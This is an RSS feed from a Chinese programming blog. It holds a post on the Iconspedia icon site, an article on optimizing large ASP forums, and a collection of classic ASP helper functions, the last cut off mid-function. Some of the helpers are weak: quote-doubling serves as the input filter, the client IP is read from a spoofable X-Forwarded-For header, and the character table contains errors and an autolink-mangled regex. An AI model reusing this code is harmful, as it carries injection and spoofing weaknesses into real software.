    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comm.Parameters.Add(parm1);&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comm.Parameters.Add(parm2);&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comm.Parameters.Add(parm3);&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.Open();&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comm.ExecuteNonQuery();&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.Close();&nbsp;&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>&nbsp;</p>
<p><font size="+0"><span style="color: #000000"><font face="Verdana" size="2">这样的代码看起来舒服而且又安全，何乐不为？</font></span></font></p>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=408</link>
      <title><![CDATA[Iconspedia-下载和分享Web2.0图标]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-1-29 16:15:10</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=408</guid>
      <comments>
              /Blog/Blog.aspx?Id=408#commentbox
            </comments>
      <description><![CDATA[<p>Iconspedia是一个专门的图标下载网站，和其他图标下载网站不同的是，Iconspedia是允许匿名上传和下载图标的。每个人都可以成为图标的贡献者。Iconspedia上的图标都非常Web2.0，非常漂亮。提供背景透明的PNG和ico格式下载，图标大小从32*32至256*256不等。</p>
<p><a onfocus="undefined" href="http://www.kenengba.com/post/365.html"><img alt="Iconspedia-下载和分享Web2.0图标" src="http://www.panoramio.com/photos/original/7337224.jpg" bordersrc="http://www.panoramio.com/photos/original/7337224.jpg" /></a></p><div class="body">
<p>Chinaui编辑：今天介绍的Iconspedia是一个专门的图标下载网站。和我们平时介烧过的一些图标下载站不同，这个网站主要是靠大家自己上传，之前没发现这个不错的地方真的是失职了，hoho。感谢可能吧对该网站做了翔实的介绍。</p>
<p>Iconspedia是一个专门的图标下载网站，和其他图标下载网站不同的是，Iconspedia是允许匿名上传和下载图标的。每个人都可以成为图标的贡献者。Iconspedia上的图标都非常Web2.0，非常漂亮。提供背景透明的PNG和ico格式下载，图标大小从32*32至256*256不等。</p>
<p><a onfocus="undefined" href="http://www.kenengba.com/post/365.html"><img alt="Iconspedia-下载和分享Web2.0图标" src="http://www.panoramio.com/photos/original/7337224.jpg" bordersrc="http://www.panoramio.com/photos/original/7337224.jpg" /></a><br />
<br />
<br />
<br />
Iconspedia为上传的图标进行了分类，包括有动物、艺术、商业、电脑、假日、体育等等。你可以很快速得找到需要的图标，如果找不到，可以尝试使用其搜索功能。<br />
<br />
其中一些分类：<br />
<br />
<a onfocus="undefined" href="http://www.kenengba.com/"><img alt="Iconspedia-下载和分享Web2.0图标" src="http://www.panoramio.com/photos/original/7337225.jpg" bordersrc="http://www.panoramio.com/photos/original/7337225.jpg" /></a><br />
<br />
除了可以单独下载某个图标之外，你还可以打包下载某分类的所有图标。例如下面这些：<br />
<br />
<a onfocus="undefined" href="http://www.kenengba.com/post/365.html"><img alt="Iconspedia-下载和分享Web2.0图标" src="http://www.panoramio.com/photos/original/7337229.jpg" bordersrc="http://www.panoramio.com/photos/original/7337229.jpg" /></a><br />
<br />
再展示一些漂亮的图标：<br />
<br />
<a onfocus="undefined" href="http://www.kenengba.com/"><img alt="Iconspedia-下载和分享Web2.0图标" src="http://www.panoramio.com/photos/original/7337228.jpg" bordersrc="http://www.panoramio.com/photos/original/7337228.jpg" /></a><br />
<br />
如果你有漂亮的图标，你可以<a onfocus="undefined" href="http://www.iconspedia.com/submit-icon">点击这里</a>上传到Iconspedia和更多人分享。<br />
<br />
<strong><a onfocus="undefined" href="http://www.iconspedia.com/">点此访问Iconspedia</a></strong></p>
</div>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=307</link>
      <title><![CDATA[百万级论坛系统设计优化]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2006-11-1 10:14:24</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=307</guid>
      <comments>
              /Blog/Blog.aspx?Id=307#commentbox
            </comments>
      <description><![CDATA[自从NB论坛系统发布后，很多人都一直在问我一些与论坛性能优化相关的问题，这两天抽了点时间，整理了一下思路，把过去几年的经验都奉献给大家，就是算是庆祝我进入编程领域十一周年献给大家的一份礼物吧！</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; [序言]</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 在贴子数上百万的论坛系统中，性能是非常重要的指标，缺少优化的论坛，性能低下是不用说的，轻则拖慢服务器，重则破坏数据一致性，死锁、超时频繁发生，</P><P> 甚至引起系统崩溃，导致用户的流失。所以，对论坛的优化是非常必要的，一般对ASP程序优化方法有：优化数据库结构、优化算法、将常用又不经常变动的数据存入</P><P> Application，其它的一些方法经试验证实对系统的作用很小，不列入此文讨论范围。</P><P> &nbsp; </P><P> &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; [第一步&nbsp; -&nbsp; 了解你的论坛]</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 首先，我们要先了解论坛，知道论坛的瓶颈在什么地方，这些地方一般在1.访问量很大的页面、2.数据处理量比较大的页面，根据对我自己论坛一周统计的结果，</P><P> 访问量最大的几个页面是：</P><P> &nbsp; &nbsp; &nbsp; &nbsp; A.查看贴子(View.asp)&nbsp; &nbsp; &nbsp; 96万页</P><P> &nbsp; &nbsp; &nbsp; &nbsp; B.主题列表(Board.asp)&nbsp; &nbsp; 73万页</P><P> &nbsp; &nbsp; &nbsp; &nbsp; C.查看资料(Member.asp)&nbsp; 22万页</P><P> &nbsp; &nbsp; &nbsp; &nbsp; D.论坛首页(Index.asp)&nbsp; &nbsp; 10万页</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 再对前面两者进一步分析，发现50%以上的访问量都在第一页，在前三页的访问量占了90%以上。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; 至于数据处理量方面，只要设计合理，论坛系统是不会进行过多的表的关联或很复杂的运算，所以不用担心这方面的问题。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; [第二步&nbsp; -&nbsp; 优化的常识]</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 一般我们用服务器处理时间(Process&nbsp; Time)来衡量一个论坛的性能，计算方法：在开始处理时候用Timer()得出开始时间，处理结束时得出结束时间，两个时间</P><P> 的差即是服务器端处理所需要的时间，单位是秒。一般来说，百万级的论坛都有着10万页面/天的访问量，假设访问量是平均的，而且服务器只有一个论坛在运行，每</P><P> 个页面给你的处理时间也只有0.8秒(800ms)。加上一般高峰期流量是平均值的两倍左右，也就是说，你要控制在400ms以内，才能保证高峰期的正常访问。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 200-400ms的论坛，只能算是及格，60-200ms，算是良好，低于60ms的，才能算是一个优秀的论坛，想自己也设计出一个优秀的论坛吗？继续往下看吧。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; [第三步&nbsp; -&nbsp; 优化方法导论]</P><P> &nbsp; &nbsp; &nbsp; &nbsp; A.数据库方面</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 1.列宽对速度影响很少，Select一个varchar(10)和Select十个varchar(1000)的字符，性能几乎没有差异。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 2.text(备注)类型字段的读取比其它类型要慢，特别是在数据量大的时候。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 3.数据库大小对速度影响不是很大，如果数据库有三个字段A、B、C，C=A*B，那么，直接读字段C比不建立字段C的时候去读A*B要快，也就是说，适当的冗余能</P><P> 加快Select的速度。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 4.有人觉得读大表肯定是很耗时的操作，其实不然，只要经过Where条件Select出来的记录数不多，速度是很快的，这一点在两个大表的关联也同样适用。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 5.在用Select&nbsp; Top&nbsp; N的时候，Where条件尽量让它容易成立，数据库搜索到N个符合条件的记录会自动返回，条件越容易满足需要搜索的记录数越少。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 6.其他的类似于数字运算比字符运算快、系统自带函数比用户自定义函数快之类的基本知识就不多说了。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; B.索引方面</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 1.粗略的说，索引能加速Select，拖慢Insert和Update(注:如果索引不是建立在你要Update的字段上是没有影响的)，永远都不要试图将索引建立在经常Insert</P><P> 而很少Select的表上(比如事件日志表)。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 2.索引一般建在经常作为查询条件(即Where)、排序条件(即Order&nbsp; by)的字段上</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 3.in子查询不会使用索引，尽量使用exists优化</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 4.like查询，如果第一位是通配符(%或_)，那么该语句也不会使用索引</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; C.ADO方面</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 1.对Access来说，把Adodb.Connection对象存在Application中会让程序加速不少，但在SQLServer却基本没差异，估计原因是SQLServer本身有连接池加速。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 2.conn.execute创建一个Recordset比rs.open会快一点，但缺点是无法读取text型字段，而且无法获取RecordCount等属性。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; 3.一次返回一个包含200条记录的记录集，比分开两次返回两个包含100条记录的记录集要快。</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; [第四步&nbsp; -&nbsp; 优化前的数据库及算法分析]</P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; </P><P> &nbsp; &nbsp; &nbsp; &nbsp; [第五步&nbsp; -&nbsp; 着手优化]<BR> ]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=241</link>
      <title><![CDATA[有返回值函数收集～]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2006-4-6 10:50:22</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=241</guid>
      <comments>
              /Blog/Blog.aspx?Id=241#commentbox
            </comments>
      <description><![CDATA[[Code]<BR> &lt;%<BR> &#39;---------------------------------&nbsp; Author&nbsp; information&nbsp; -------------------------------------------------------------<BR> &#39;File&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Function.asp<BR> &#39;Version&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0.10.20060404b<BR> &#39;Revision&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2006-4-4&nbsp; &nbsp; &nbsp; &nbsp; 14:08:14<BR> &#39;Author&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Atwind(Atwind.Max&nbsp; &nbsp; or&nbsp; &nbsp; &nbsp; 一线风)<BR> &#39;Content&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Email:Itwind@163.com&nbsp; &nbsp; &nbsp; BLog<a target=_blank href="http://max.69sea.com&nbsp;">http://max.69sea.com&nbsp;</a> &nbsp; &nbsp; QQ:478779122&nbsp; &nbsp; &nbsp; &nbsp; <BR> &#39;Company&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Web:&nbsp;<a target=_blank href="Http://www.cmfu.com&nbsp;">Http://www.cmfu.com&nbsp;</a> &nbsp; &nbsp; &nbsp; &nbsp; Tel:50504740-5060<BR> &#39;-----------------------------------------------------------------------------------------------------------------<BR> &#39;----有返回函数的类型的相关函数集合<BR> &#39;<BR> &#39;&#39;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓转换字符串为数字，无法转换时结果为0<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; GetNum(iStr)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; s<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s=Trim(&#34;&#34;&amp;iStr)&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; IsNumeric(s)&nbsp; Then&nbsp; GetNum=Clng(s)&nbsp; Else&nbsp; GetNum=0&nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓过虑用户提交的Get类型字符串<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; GetStr(Str)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Isnull(Str)&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetStr&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exit&nbsp; Function&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,Chr(0),&#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetStr&nbsp; =&nbsp; Replace(Str,&#34;&#39;&#34;,&#34;&#39;&#39;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓&nbsp; 获得用户IP&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Function&nbsp; GetIp()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dim&nbsp; vip<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vip=Request.ServerVariables(&#34;http_x_forwarded_for&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; vip=&#34;&#34;&nbsp; or&nbsp; Isnull(vip)&nbsp; then&nbsp; &nbsp; &nbsp; &nbsp; vip=Request.ServerVariables(&#34;remote_addr&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetIp=vip<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓过滤26个引起搜索溢出的日文片假名<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; EncodeJP(StrHTML)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; StrHTML&lt;&gt;&#34;&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Trim(StrHTML)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ガ&#34;,&#34;&amp;#12460;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ギ&#34;,&#34;&amp;#12462;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;グ&#34;,&#34;&amp;#12450;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ゲ&#34;,&#34;&amp;#12466;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ゴ&#34;,&#34;&amp;#12468;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ザ&#34;,&#34;&amp;#12470;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ジ&#34;,&#34;&amp;#12472;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ズ&#34;,&#34;&amp;#12474;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ゼ&#34;,&#34;&amp;#12476;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ゾ&#34;,&#34;&amp;#12478;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ダ&#34;,&#34;&amp;#12480;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ヂ&#34;,&#34;&amp;#12482;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ヅ&#34;,&#34;&amp;#12485;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;デ&#34;,&#34;&amp;#12487;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ド&#34;,&#34;&amp;#12489;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;バ&#34;,&#34;&amp;#12496;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;パ&#34;,&#34;&amp;#12497;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ビ&#34;,&#34;&amp;#12499;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ピ&#34;,&#34;&amp;#12500;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ブ&#34;,&#34;&amp;#12502;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ブ&#34;,&#34;&amp;#12502;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;プ&#34;,&#34;&amp;#12503;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ベ&#34;,&#34;&amp;#12505;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ペ&#34;,&#34;&amp;#12506;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ボ&#34;,&#34;&amp;#12508;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ポ&#34;,&#34;&amp;#12509;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrHTML=Replace(StrHTML,&#34;ヴ&#34;,&#34;&amp;#12532;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; EncodeJP=StrHTML<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓过滤HTML/UBB以纯文本显示，带长度参数<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; FormatHTML(HtmCode,HtmLen)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; HtmCode&lt;&gt;&#34;&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; RegX<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; RegX&nbsp; =&nbsp; new&nbsp; RegExp<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.IgnoreCase&nbsp; =&nbsp; True<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Global&nbsp; =&nbsp; True<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;&lt;(a|select|option|script|style|title)(.*?)&gt;((.|&nbsp; )*?)&lt;/(a|select|option|script|style|title)&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;&amp;(lt|gt|nbsp|quot|copy);&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;&lt;[^&gt;]*&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;\[(img)(.*?)\]((.|&nbsp; )*?)\[/(img)\]&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;\[[^\]]*\]&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; Replace(HtmCode,Chr(13)&amp;Chr(10),&#34;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;^<a target=_blank href="http://[^&nbsp;">http://[^&nbsp;</a> &lt;&gt;]+)&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&#34;)<BR> &nbsp; 